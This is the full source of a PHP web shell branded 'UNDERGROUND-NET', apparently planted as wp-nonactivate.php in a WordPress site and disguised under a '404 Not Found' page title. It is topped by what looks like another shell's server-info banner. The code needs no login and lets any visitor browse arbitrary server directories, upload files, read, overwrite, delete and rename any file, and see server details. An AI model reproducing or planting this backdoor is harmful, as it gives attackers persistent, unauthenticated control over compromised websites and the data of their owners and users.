HEX
Server: LiteSpeed
System: Linux cde4.duelhost.dk 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User: dmhkjfau (1027)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dmhkjfau/public_html/wp-nonactivate.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>404 Not Found</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css">
    <!-- SweetAlert2 CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/sweetalert2@11/dist/sweetalert2.min.css">
    <style>
        * {
            transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
        }

        body {
            background: linear-gradient(135deg, #0a0e1a 0%, #0d1b2a 50%, #0a0e1a 100%);
            color: #e0f7fa;
            min-height: 100vh;
            font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;
            animation: fadeIn 0.8s ease-out;
        }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        @keyframes slideDown {
            from { opacity: 0; transform: translateY(-30px); }
            to { opacity: 1; transform: translateY(0); }
        }

        @keyframes pulseGlow {
            0%, 100% { box-shadow: 0 0 20px rgba(0, 255, 255, 0.2); }
            50% { box-shadow: 0 0 40px rgba(0, 255, 255, 0.4); }
        }

        @keyframes gradientMove {
            0% { background-position: 0% 50%; }
            50% { background-position: 100% 50%; }
            100% { background-position: 0% 50%; }
        }

        @keyframes float {
            0%, 100% { transform: translateY(0px); }
            50% { transform: translateY(-5px); }
        }

        @keyframes blinkRed {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }

        .navbar-custom {
            background: rgba(13, 27, 42, 0.85);
            backdrop-filter: blur(20px);
            border-bottom: 1px solid rgba(0, 255, 255, 0.15);
            padding: 15px 0;
            animation: slideDown 0.6s ease-out;
            border-radius: 0 0 20px 20px;
            margin-bottom: 20px;
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5);
        }

        .logo-container {
            display: flex;
            align-items: center;
            gap: 15px;
        }

        .logo-img {
            width: 60px;
            height: 60px;
            border-radius: 50%;
            border: 2px solid #00e5ff;
            box-shadow: 0 0 30px rgba(0, 229, 255, 0.3);
            animation: float 3s ease-in-out infinite;
            transition: transform 0.5s ease;
        }

        .logo-img:hover {
            transform: rotate(360deg) scale(1.1);
        }

        .brand-text {
            background: linear-gradient(90deg, #00e5ff, #00b8d4, #00e5ff);
            background-size: 200% auto;
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            font-weight: 800;
            font-size: 1.5rem;
            letter-spacing: 1px;
            animation: gradientMove 3s ease infinite;
            text-shadow: none;
        }

        .info-card {
            background: rgba(0, 229, 255, 0.05);
            border: 1px solid rgba(0, 229, 255, 0.15);
            border-radius: 12px;
            padding: 12px 20px;
            backdrop-filter: blur(10px);
            transition: all 0.4s ease;
        }

        .info-card:hover {
            border-color: rgba(0, 229, 255, 0.4);
            box-shadow: 0 0 30px rgba(0, 229, 255, 0.1);
            transform: scale(1.02);
        }

        .info-text {
            font-size: 0.85rem;
            color: #b2ebf2;
            line-height: 1.6;
        }

        .info-text b {
            color: #00e5ff;
        }

        .btn-cyan {
            background: linear-gradient(135deg, #00e5ff, #00b8d4);
            border: none;
            color: #0a0e1a;
            padding: 10px 22px;
            margin: 2px;
            border-radius: 12px;
            font-weight: 600;
            letter-spacing: 0.5px;
            transition: all 0.3s ease;
            box-shadow: 0 4px 15px rgba(0, 229, 255, 0.3);
            position: relative;
            overflow: hidden;
        }

        .btn-cyan::before {
            content: '';
            position: absolute;
            top: 0;
            left: -100%;
            width: 100%;
            height: 100%;
            background: linear-gradient(90deg, transparent, rgba(255,255,255,0.2), transparent);
            transition: left 0.5s ease;
        }

        .btn-cyan:hover::before {
            left: 100%;
        }

        .btn-cyan:hover {
            transform: translateY(-2px) scale(1.02);
            box-shadow: 0 8px 30px rgba(0, 229, 255, 0.5);
            color: #0a0e1a;
        }

        .btn-cyan:active {
            transform: scale(0.95);
        }

        .btn-cyan-outline {
            background: transparent;
            border: 2px solid rgba(0, 229, 255, 0.5);
            color: #00e5ff;
            padding: 8px 20px;
            margin: 2px;
            border-radius: 12px;
            font-weight: 600;
            transition: all 0.3s ease;
        }

        .btn-cyan-outline:hover {
            background: rgba(0, 229, 255, 0.15);
            border-color: #00e5ff;
            transform: translateY(-2px);
            box-shadow: 0 0 30px rgba(0, 229, 255, 0.2);
            color: #00e5ff;
        }

        /* Breadcrumb dengan pemisah yang jelas */
        .breadcrumb-custom {
            background: rgba(0, 229, 255, 0.05);
            backdrop-filter: blur(10px);
            border: 1px solid rgba(0, 229, 255, 0.1);
            border-radius: 16px;
            padding: 15px 25px;
            margin-bottom: 25px;
            animation: slideDown 0.7s ease-out;
            transition: all 0.4s ease;
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            gap: 5px;
        }

        .breadcrumb-custom:hover {
            border-color: rgba(0, 229, 255, 0.3);
            box-shadow: 0 0 40px rgba(0, 229, 255, 0.05);
        }

        .breadcrumb-item-custom {
            display: inline-flex;
            align-items: center;
            padding: 5px 12px;
            background: rgba(0, 229, 255, 0.08);
            border-radius: 8px;
            transition: all 0.3s ease;
            border: 1px solid transparent;
        }

        .breadcrumb-item-custom:hover {
            background: rgba(0, 229, 255, 0.15);
            border-color: rgba(0, 229, 255, 0.3);
            transform: translateY(-2px);
            box-shadow: 0 4px 15px rgba(0, 229, 255, 0.15);
        }

        .breadcrumb-item-custom a {
            color: #00e5ff;
            text-decoration: none;
            font-weight: 500;
            transition: all 0.3s ease;
            position: relative;
        }

        .breadcrumb-item-custom a::after {
            content: '';
            position: absolute;
            bottom: -2px;
            left: 0;
            width: 0;
            height: 2px;
            background: linear-gradient(90deg, #00e5ff, transparent);
            transition: width 0.3s ease;
        }

        .breadcrumb-item-custom a:hover::after {
            width: 100%;
        }

        .breadcrumb-item-custom a:hover {
            color: #80deea;
            text-shadow: 0 0 20px rgba(0, 229, 255, 0.3);
        }

        .breadcrumb-separator {
            color: rgba(0, 229, 255, 0.3);
            font-size: 1.4rem;
            font-weight: 300;
            display: inline-flex;
            align-items: center;
            padding: 0 2px;
            animation: pulseGlow 2s ease-in-out infinite;
        }

        .breadcrumb-separator i {
            font-size: 0.8rem;
        }

        .breadcrumb-root {
            color: #00e5ff;
            font-weight: 600;
            padding: 5px 12px;
            background: rgba(0, 229, 255, 0.12);
            border-radius: 8px;
            border: 1px solid rgba(0, 229, 255, 0.2);
        }

        .breadcrumb-root a {
            color: #00e5ff;
            text-decoration: none;
        }

        .breadcrumb-root a:hover {
            text-shadow: 0 0 20px rgba(0, 229, 255, 0.4);
        }

        .table-container {
            background: rgba(13, 27, 42, 0.7);
            backdrop-filter: blur(15px);
            border-radius: 20px;
            border: 1px solid rgba(0, 229, 255, 0.08);
            overflow: hidden;
            animation: fadeIn 0.9s ease-out;
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
            transition: all 0.4s ease;
        }

        .table-container:hover {
            border-color: rgba(0, 229, 255, 0.2);
            box-shadow: 0 8px 40px rgba(0, 229, 255, 0.08);
        }

        .table-custom {
            color: #e0f7fa;
            margin-bottom: 0;
        }

        .table-custom thead th {
            background: rgba(0, 229, 255, 0.08);
            color: #00e5ff;
            border-bottom: 2px solid rgba(0, 229, 255, 0.15);
            padding: 15px 15px;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            font-size: 0.85rem;
        }

        .table-custom tbody tr {
            transition: all 0.3s ease;
            border-bottom: 1px solid rgba(0, 229, 255, 0.05);
        }

        .table-custom tbody tr:hover {
            background: rgba(0, 229, 255, 0.06);
            transform: scale(1.002);
            box-shadow: inset 0 0 40px rgba(0, 229, 255, 0.03);
        }

        .table-custom td {
            padding: 12px 15px;
            vertical-align: middle;
        }

        .folder-link-custom {
            color: #00e5ff !important;
            font-weight: 600;
            text-decoration: none;
            transition: all 0.3s ease;
            position: relative;
        }

        .folder-link-custom:hover {
            color: #80deea !important;
            text-shadow: 0 0 30px rgba(0, 229, 255, 0.4);
            padding-left: 5px;
        }

        .file-link-custom {
            color: #e0f7fa !important;
            text-decoration: none;
            transition: all 0.3s ease;
        }

        .file-link-custom:hover {
            color: #00e5ff !important;
            text-shadow: 0 0 20px rgba(0, 229, 255, 0.3);
            padding-left: 5px;
        }

        .action-icons a {
            display: inline-block;
            margin: 0 5px;
            transition: all 0.3s ease;
            font-size: 1.1rem;
        }

        .action-icons a:hover {
            transform: scale(1.3) rotate(5deg);
        }

        .text-cyan {
            color: #00e5ff !important;
        }

        .text-cyan-light {
            color: #80deea !important;
        }

        /* Style untuk permission */
        .perm-root {
            color: #ff1744 !important;
            font-weight: 700;
            background: rgba(255, 23, 68, 0.15);
            padding: 3px 10px;
            border-radius: 6px;
            border: 1px solid rgba(255, 23, 68, 0.3);
            display: inline-block;
            animation: blinkRed 2s ease-in-out infinite;
            transition: all 0.3s ease;
        }

        .perm-root:hover {
            background: rgba(255, 23, 68, 0.25);
            transform: scale(1.05);
            box-shadow: 0 0 20px rgba(255, 23, 68, 0.3);
        }

        .perm-writable {
            color: #00e676 !important;
            font-weight: 600;
            background: rgba(0, 230, 118, 0.1);
            padding: 3px 10px;
            border-radius: 6px;
            border: 1px solid rgba(0, 230, 118, 0.2);
            display: inline-block;
            transition: all 0.3s ease;
        }

        .perm-writable:hover {
            background: rgba(0, 230, 118, 0.2);
            transform: scale(1.05);
            box-shadow: 0 0 20px rgba(0, 230, 118, 0.15);
        }

        .perm-readonly {
            color: #ff9100 !important;
            font-weight: 600;
            background: rgba(255, 145, 0, 0.1);
            padding: 3px 10px;
            border-radius: 6px;
            border: 1px solid rgba(255, 145, 0, 0.2);
            display: inline-block;
            transition: all 0.3s ease;
        }

        .perm-readonly:hover {
            background: rgba(255, 145, 0, 0.2);
            transform: scale(1.05);
            box-shadow: 0 0 20px rgba(255, 145, 0, 0.15);
        }

        .upload-form {
            background: rgba(13, 27, 42, 0.8);
            backdrop-filter: blur(15px);
            border: 1px solid rgba(0, 229, 255, 0.15);
            border-radius: 20px;
            padding: 25px;
            margin-top: 20px;
            animation: slideDown 0.5s ease-out;
            box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
            transition: all 0.4s ease;
        }

        .upload-form:hover {
            border-color: rgba(0, 229, 255, 0.3);
            box-shadow: 0 8px 40px rgba(0, 229, 255, 0.08);
        }

        .form-control-cyan {
            background: rgba(0, 229, 255, 0.05);
            border: 1px solid rgba(0, 229, 255, 0.2);
            color: #e0f7fa;
            border-radius: 12px;
            padding: 12px 15px;
            transition: all 0.3s ease;
        }

        .form-control-cyan:focus {
            background: rgba(0, 229, 255, 0.08);
            border-color: #00e5ff;
            box-shadow: 0 0 30px rgba(0, 229, 255, 0.15);
            color: #e0f7fa;
            outline: none;
        }

        .form-control-cyan::placeholder {
            color: rgba(224, 247, 250, 0.5);
        }

        .badge-cyan {
            background: rgba(0, 229, 255, 0.15);
            color: #00e5ff;
            padding: 5px 12px;
            border-radius: 20px;
            font-weight: 500;
            border: 1px solid rgba(0, 229, 255, 0.2);
        }

        .nav-actions {
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
        }

        /* Scrollbar styling */
        ::-webkit-scrollbar {
            width: 8px;
            height: 8px;
        }

        ::-webkit-scrollbar-track {
            background: rgba(13, 27, 42, 0.8);
            border-radius: 10px;
        }

        ::-webkit-scrollbar-thumb {
            background: linear-gradient(180deg, #00e5ff, #00b8d4);
            border-radius: 10px;
            transition: all 0.3s ease;
        }

        ::-webkit-scrollbar-thumb:hover {
            background: linear-gradient(180deg, #80deea, #00e5ff);
        }

        /* Responsive */
        @media (max-width: 768px) {
            .logo-img {
                width: 40px;
                height: 40px;
            }
            .brand-text {
                font-size: 1.1rem;
            }
            .info-card {
                padding: 8px 12px;
                font-size: 0.75rem;
            }
            .btn-cyan, .btn-cyan-outline {
                padding: 6px 14px;
                font-size: 0.85rem;
            }
            .table-custom thead th, .table-custom td {
                padding: 8px 10px;
                font-size: 0.8rem;
            }
            .breadcrumb-item-custom {
                padding: 3px 8px;
                font-size: 0.8rem;
            }
            .breadcrumb-separator {
                font-size: 1rem;
            }
            .perm-root, .perm-writable, .perm-readonly {
                font-size: 0.75rem;
                padding: 2px 6px;
            }
        }
    </style>
    
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<script>
function confirmAction(action, callback) {
    Swal.fire({
        title: 'Apakah Anda yakin?',
        text: "Anda akan " + action + " file ini!",
        icon: 'warning',
        showCancelButton: true,
        confirmButtonColor: '#00e5ff',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Ya, lanjutkan!',
        cancelButtonText: 'Batal',
        background: '#0d1b2a',
        color: '#e0f7fa'
    }).then((result) => {
        if (result.isConfirmed) {
            callback();
        }
    });
}

function deleteFile(fileName) {
    confirmAction("menghapus", function() {
        window.location.href = "delete.php?file=" + encodeURIComponent(fileName);
    });
}

function renameFile(oldName) {
    Swal.fire({
        title: 'Masukkan nama baru',
        input: 'text',
        inputValue: oldName,
        showCancelButton: true,
        confirmButtonColor: '#00e5ff',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Rename',
        cancelButtonText: 'Batal',
        background: '#0d1b2a',
        color: '#e0f7fa',
        inputAttributes: {
            class: 'form-control-cyan'
        }
    }).then((result) => {
        if (result.isConfirmed && result.value) {
            window.location.href = "rename.php?old=" + encodeURIComponent(oldName) + "&new=" + encodeURIComponent(result.value);
        }
    });
}

function uploadFile() {
    Swal.fire({
        title: 'Upload File',
        input: 'file',
        showCancelButton: true,
        confirmButtonColor: '#00e5ff',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Upload',
        cancelButtonText: 'Batal',
        background: '#0d1b2a',
        color: '#e0f7fa'
    }).then((result) => {
        if (result.isConfirmed && result.value) {
            document.getElementById('uploadForm').submit();
        }
    });
}
</script>

</head>
<body>

<?php
session_start();
error_reporting(0);

function encodePath($path) {
    return str_replace("/", "→", $path);
}

function decodePath($path) {
    return str_replace("→", "/", $path);
}

function getFilePermissions($file) {
    return substr(sprintf('%o', fileperms($file)), -4);
}

function isReadOnly($file) {
    // Cek apakah file/direktori hanya bisa dibaca (tidak bisa ditulis)
    return !is_writable($file);
}

function isRootOwned($file) {
    // Cek apakah file/direktori dimiliki oleh root (UID 0)
    if (function_exists('posix_getpwuid')) {
        $owner = posix_getpwuid(fileowner($file));
        return $owner['name'] === 'root';
    }
    // Fallback: cek permission 555 atau 444 (read-only)
    $perms = fileperms($file);
    $writeable = ($perms & 0x0080) || ($perms & 0x0010) || ($perms & 0x0002);
    return !$writeable;
}

$root_path = __DIR__;
$p = isset($_GET['p']) ? decodePath($_GET['p']) : $root_path;

if (!is_dir($p)) {
    echo "<script>
            Swal.fire({
                icon: 'error',
                title: 'Error',
                text: 'Direktori tidak ditemukan!',
                background: '#0d1b2a',
                color: '#e0f7fa',
                confirmButtonColor: '#00e5ff'
            }).then(() => {
                window.location.replace('?');
            });
          </script>";
    exit;
}

define("PATH", $p);
$server_ip = $_SERVER['SERVER_ADDR'];
$user_ip = $_SERVER['REMOTE_ADDR'];
$system_info = php_uname();

echo "
<div class='container-fluid px-3 px-md-4'>
    <nav class='navbar-custom'>
        <div class='container-fluid'>
            <div class='row align-items-center w-100 g-2'>
                <div class='col-md-4 col-12'>
                    <div class='logo-container'>
                        <img src='https://a.top4top.io/p_3163llkk21.png' class='logo-img' alt='UNDERGROUND-NET'>
                        <span class='brand-text'>UNDERGROUND-NET</span>
                    </div>
                </div>
                <div class='col-md-4 col-12'>
                    <div class='info-card'>
                        <div class='info-text'>
                            <b>🖥️ Server: </b>$server_ip &nbsp;|&nbsp; <b>🌐 Your IP: </b>$user_ip
                        </div>
                        <div class='info-text mt-1'>
                            <b>🔧 System: </b><span class='text-cyan-light'>$system_info</span>
                        </div>
                    </div>
                </div>
                <div class='col-md-4 col-12'>
                    <div class='nav-actions justify-content-md-end justify-content-start'>
                        <a href='?' class='btn btn-cyan'><i class='fas fa-home'></i> HOME</a>
                        <a href='?p=" . urlencode(encodePath(PATH)) . "&upload' class='btn btn-cyan-outline'><i class='fas fa-upload'></i> UPLOAD</a>
                    </div>
                </div>
            </div>
        </div>
    </nav>
";

// Breadcrumb dengan pemisah yang jelas dan terpisah
echo "<nav class='breadcrumb-custom'>";
echo "<span class='breadcrumb-root'><a href='?'><i class='fas fa-home'></i> Root</a></span>";

$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
$build_path = "";

// Hanya tampilkan path setelah root (skip index 0 yang kosong)
$first = true;
foreach ($paths as $id => $dir_part) {
    if (empty($dir_part)) continue;
    
    if ($id > 0) $build_path .= "/";
    $build_path .= $dir_part;
    
    // Tampilkan separator sebelum setiap item (kecuali yang pertama setelah root)
    if (!$first) {
        echo "<span class='breadcrumb-separator'><i class='fas fa-chevron-right'></i></span>";
    }
    $first = false;
    
    echo "<span class='breadcrumb-item-custom'>
            <a href='?p=" . urlencode(encodePath($build_path)) . "'>" . htmlspecialchars($dir_part) . "</a>
          </span>";
}
echo "</nav>";

$items = scandir(PATH);
$folders = [];
$files = [];

foreach ($items as $item) {
    if ($item == '.' || $item == '..') continue;
    $full_path = PATH . '/' . $item;
    is_dir($full_path) ? $folders[] = $item : $files[] = $item;
}

echo "<div class='table-container'>";
echo "<table class='table table-custom'>";
echo "<thead><tr><th><i class='fas fa-folder-open me-2'></i>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th class='text-center'>Actions</th></tr></thead>";
echo "<tbody>";

foreach ($folders as $folder) {
    $folder_path = PATH . '/' . $folder;
    
    // Cek permission folder
    $perms = getFilePermissions($folder_path);
    $is_root = isRootOwned($folder_path);
    $is_writable = is_writable($folder_path);
    
    // Tentukan class untuk permission
    if ($is_root || !$is_writable) {
        $perm_class = 'perm-root';
        $perm_icon = '🔒';
        $perm_title = 'Read-Only (Root)';
    } elseif ($perms == '0777' || $perms == '0755') {
        $perm_class = 'perm-writable';
        $perm_icon = '✏️';
        $perm_title = 'Writable';
    } else {
        $perm_class = 'perm-readonly';
        $perm_icon = '📖';
        $perm_title = 'Read-Only';
    }
    
    echo "<tr>
        <td><i class='fas fa-folder text-cyan me-2'></i> <a href='?p=" . urlencode(encodePath($folder_path)) . "' class='folder-link-custom'>" . htmlspecialchars($folder) . "</a></td>
        <td><span class='badge-cyan'>DIR</span></td>
        <td>" . date("Y-m-d H:i:s", filemtime($folder_path)) . "</td>
        <td><span class='$perm_class' title='$perm_title'>$perm_icon $perms</span></td>
        <td class='text-center action-icons'>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&rename=" . urlencode(encodePath($folder_path)) . "' class='text-warning' title='Rename'><i class='fas fa-edit'></i></a>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&delete=" . urlencode(encodePath($folder_path)) . "' class='text-danger' title='Delete'><i class='fas fa-trash'></i></a>
        </td>
    </tr>";
}

foreach ($files as $file) {
    $file_path = PATH . '/' . $file;
    $file_size = filesize($file_path);
    $size_display = $file_size < 1024 ? $file_size . ' B' : ($file_size < 1048576 ? round($file_size/1024, 2) . ' KB' : round($file_size/1048576, 2) . ' MB');
    
    // Cek permission file
    $perms = getFilePermissions($file_path);
    $is_root = isRootOwned($file_path);
    $is_writable = is_writable($file_path);
    
    // Tentukan class untuk permission
    if ($is_root || !$is_writable) {
        $perm_class = 'perm-root';
        $perm_icon = '🔒';
        $perm_title = 'Read-Only (Root)';
    } elseif ($perms == '0777' || $perms == '0755' || $perms == '0644') {
        $perm_class = 'perm-writable';
        $perm_icon = '✏️';
        $perm_title = 'Writable';
    } else {
        $perm_class = 'perm-readonly';
        $perm_icon = '📖';
        $perm_title = 'Read-Only';
    }
    
    echo "<tr>
        <td><i class='fas fa-file text-cyan-light me-2'></i> <a href='?p=" . urlencode(encodePath($file_path)) . "' class='file-link-custom'>" . htmlspecialchars($file) . "</a></td>
        <td>$size_display</td>
        <td>" . date("Y-m-d H:i:s", filemtime($file_path)) . "</td>
        <td><span class='$perm_class' title='$perm_title'>$perm_icon $perms</span></td>
        <td class='text-center action-icons'>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&edit=" . urlencode(encodePath($file_path)) . "' class='text-primary' title='Edit'><i class='fas fa-pen'></i></a>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&delete=" . urlencode(encodePath($file_path)) . "' class='text-danger' title='Delete'><i class='fas fa-trash'></i></a>
            <a href='?p=" . urlencode(encodePath(PATH)) . "&rename=" . urlencode(encodePath($file_path)) . "' class='text-warning' title='Rename'><i class='fas fa-edit'></i></a>
        </td>
    </tr>";
}

echo "</tbody></table>";
echo "</div>";

// Fitur Upload File
if (isset($_GET['upload'])) {
    echo '<div class="upload-form">
            <h5 class="text-cyan mb-3"><i class="fas fa-cloud-upload-alt me-2"></i>Upload File</h5>
            <form method="post" enctype="multipart/form-data" id="uploadForm">
                <input type="file" name="file" class="form-control form-control-cyan">
                <button type="submit" name="upload" class="btn btn-cyan mt-3"><i class="fas fa-upload me-2"></i>Upload</button>
            </form>
          </div>';
    if (isset($_POST['upload'])) {
        $file = $_FILES['file'];
        $destination = PATH . '/' . basename($file['name']);
        if (move_uploaded_file($file['tmp_name'], $destination)) {
            echo "<script>
                    Swal.fire({
                        icon: 'success',
                        title: 'Success',
                        text: 'File uploaded!',
                        background: '#0d1b2a',
                        color: '#e0f7fa',
                        confirmButtonColor: '#00e5ff'
                    }).then(() => {
                        window.location.href='?p=" . encodePath(PATH) . "';
                    });
                  </script>";
        } else {
            echo "<script>
                    Swal.fire({
                        icon: 'error',
                        title: 'Error',
                        text: 'Gagal mengupload file!',
                        background: '#0d1b2a',
                        color: '#e0f7fa',
                        confirmButtonColor: '#00e5ff'
                    }).then(() => {
                        window.location.href='?p=" . encodePath(PATH) . "';
                    });
                  </script>";
        }
    }
}

// Fitur Edit File
if (isset($_GET['edit'])) {
    $edit_path = decodePath($_GET['edit']);
    $content = htmlspecialchars(file_get_contents($edit_path));
    echo "
    <div class='upload-form'>
        <h5 class='text-cyan mb-3'><i class='fas fa-edit me-2'></i>Edit File</h5>
        <form method='post'>
            <textarea name='file_content' class='form-control form-control-cyan' rows='10'>$content</textarea>
            <button type='submit' name='save_file' class='btn btn-cyan mt-3'><i class='fas fa-save me-2'></i>Save</button>
        </form>
    </div>";
    if (isset($_POST['save_file'])) {
        file_put_contents($edit_path, $_POST['file_content']);
        echo "<script>
                Swal.fire({
                    icon: 'success',
                    title: 'Success',
                    text: 'File saved!',
                    background: '#0d1b2a',
                    color: '#e0f7fa',
                    confirmButtonColor: '#00e5ff'
                }).then(() => {
                    window.location.href='?p=" . encodePath(PATH) . "';
                });
              </script>";
    }
}

// Fitur Hapus File/Direktori
if (isset($_GET['delete'])) {
    $delete_path = decodePath($_GET['delete']);
    if (file_exists($delete_path)) {
        if (is_dir($delete_path)) {
            rmdir($delete_path);
        } else {
            unlink($delete_path);
        }
        echo "<script>
                Swal.fire({
                    icon: 'success',
                    title: 'Success',
                    text: 'File/direktori berhasil dihapus!',
                    background: '#0d1b2a',
                    color: '#e0f7fa',
                    confirmButtonColor: '#00e5ff'
                }).then(() => {
                    window.location.href='?p=" . encodePath(PATH) . "';
                });
              </script>";
    } else {
        echo "<script>
                Swal.fire({
                    icon: 'error',
                    title: 'Error',
                    text: 'File/direktori tidak ditemukan!',
                    background: '#0d1b2a',
                    color: '#e0f7fa',
                    confirmButtonColor: '#00e5ff'
                }).then(() => {
                    window.location.href='?p=" . encodePath(PATH) . "';
                });
              </script>";
    }
}

// Fitur Rename File/Direktori
if (isset($_GET['rename'])) {
    $rename_path = decodePath($_GET['rename']);
    if (file_exists($rename_path)) {
        if (isset($_POST['new_name'])) {
            $new_name = PATH . '/' . $_POST['new_name'];
            if (rename($rename_path, $new_name)) {
                echo "<script>
                        Swal.fire({
                            icon: 'success',
                            title: 'Success',
                            text: 'File/direktori berhasil diubah nama!',
                            background: '#0d1b2a',
                            color: '#e0f7fa',
                            confirmButtonColor: '#00e5ff'
                        }).then(() => {
                            window.location.href='?p=" . encodePath(PATH) . "';
                        });
                      </script>";
            } else {
                echo "<script>
                        Swal.fire({
                            icon: 'error',
                            title: 'Error',
                            text: 'Gagal mengubah nama file/direktori!',
                            background: '#0d1b2a',
                            color: '#e0f7fa',
                            confirmButtonColor: '#00e5ff'
                        }).then(() => {
                            window.location.href='?p=" . encodePath(PATH) . "';
                        });
                      </script>";
            }
        }
        echo '<div class="upload-form">
                <h5 class="text-cyan mb-3"><i class="fas fa-i-cursor me-2"></i>Rename</h5>
                <form method="post">
                    <input type="text" name="new_name" class="form-control form-control-cyan" placeholder="Masukkan nama baru">
                    <button type="submit" class="btn btn-cyan mt-3"><i class="fas fa-check me-2"></i>Rename</button>
                </form>
              </div>';
    } else {
        echo "<script>
                Swal.fire({
                    icon: 'error',
                    title: 'Error',
                    text: 'File/direktori tidak ditemukan!',
                    background: '#0d1b2a',
                    color: '#e0f7fa',
                    confirmButtonColor: '#00e5ff'
                }).then(() => {
                    window.location.href='?p=" . encodePath(PATH) . "';
                });
              </script>";
    }
}
echo "</div>";
?>

<!-- SweetAlert2 JS -->
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
</body>
</html>